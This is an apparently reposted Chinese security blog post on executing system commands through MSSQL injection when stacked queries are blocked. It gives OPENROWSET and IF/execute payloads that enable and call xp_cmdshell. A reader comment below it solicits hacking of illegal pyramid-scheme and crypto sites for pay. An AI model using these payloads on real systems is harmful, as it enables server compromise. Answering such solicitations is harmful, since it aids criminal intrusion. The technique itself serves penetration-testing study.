请选择 进入手机版 | 继续访问电脑版
 找回密码
 立即注册

QQ登录

只需一步,快速开始

首页 安全 数据库安全 查看内容

MSSQL注入 突破不能堆叠的限制执行系统命令

指尖安全-小胖 2020-6-9 20:25

转:宽字节安全

使用 openrowset

这是网上流传比较广的一种,使用 openrowset 来执行,突破不能堆叠的限制,语法格式如下:

OPENROWSET
( { 'provider_name' 
    , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
    , {    | 'query' }
   | BULK 'data_file' ,
       { FORMATFILE = 'format_file_path' [  ]
       | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

payload

select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set 
fmtonly off 
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')

在平常渗透测试中,这个技巧更多的时候用在切换高权限用户的时候,在 sqlmap\data\procs\mssqlserver 下的 run_statement_as_user.sql 中,我们可以看到常用的 payload

但是该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries 组件默认是不被启用的。

  • 开启 Ad Hoc Distributed Queries 组件

    exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
    
  • 关闭 Ad Hoc Distributed Queries 组件

    exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
    
  • 查看是否开启相关存储
    ```sql
    select name,value_in_use from sys.configurations where name like ‘%Ad Hoc Distributed Queries%’

select name,value_in_use from sys.configurations where name like ‘%cmdshell%’


开启后再来执行执行可以看到顺利执行了。

![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143746.png)

## 使用 exec\execute

因为 方法1 的局限性太大了,翻了半天资料没有找到相应的方法,只能自己动手。在同事`@子云爸爸` 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。

那么 `exec 真的需要多句才能执行吗?`,来直接看 `payload` 吧

![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143800.png)

`if` 语句的表达式如下,也就是说,我们是可以借助 `if` 来执行 `sql_statement`,那么只要你能在你的注入点构造一个 `if` 出来,不需要环境支持堆叠也可以达到堆叠的效果。

IF Boolean_expression
{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]


![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143946.png)

完整的 `payload`

```sql
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell 
''whoami''');

分享到
文章点评
  • fendou 2020-6-16 11:19
    你好我有大项目找你合作 传销非法虚拟币站 国外 利润很大 可面谈 可授权 经验在6年以上即可 擅长各种渗透姿势  本人成立有公司 公安授权过 有兴趣可以找加我[email protected] 或者QQ556440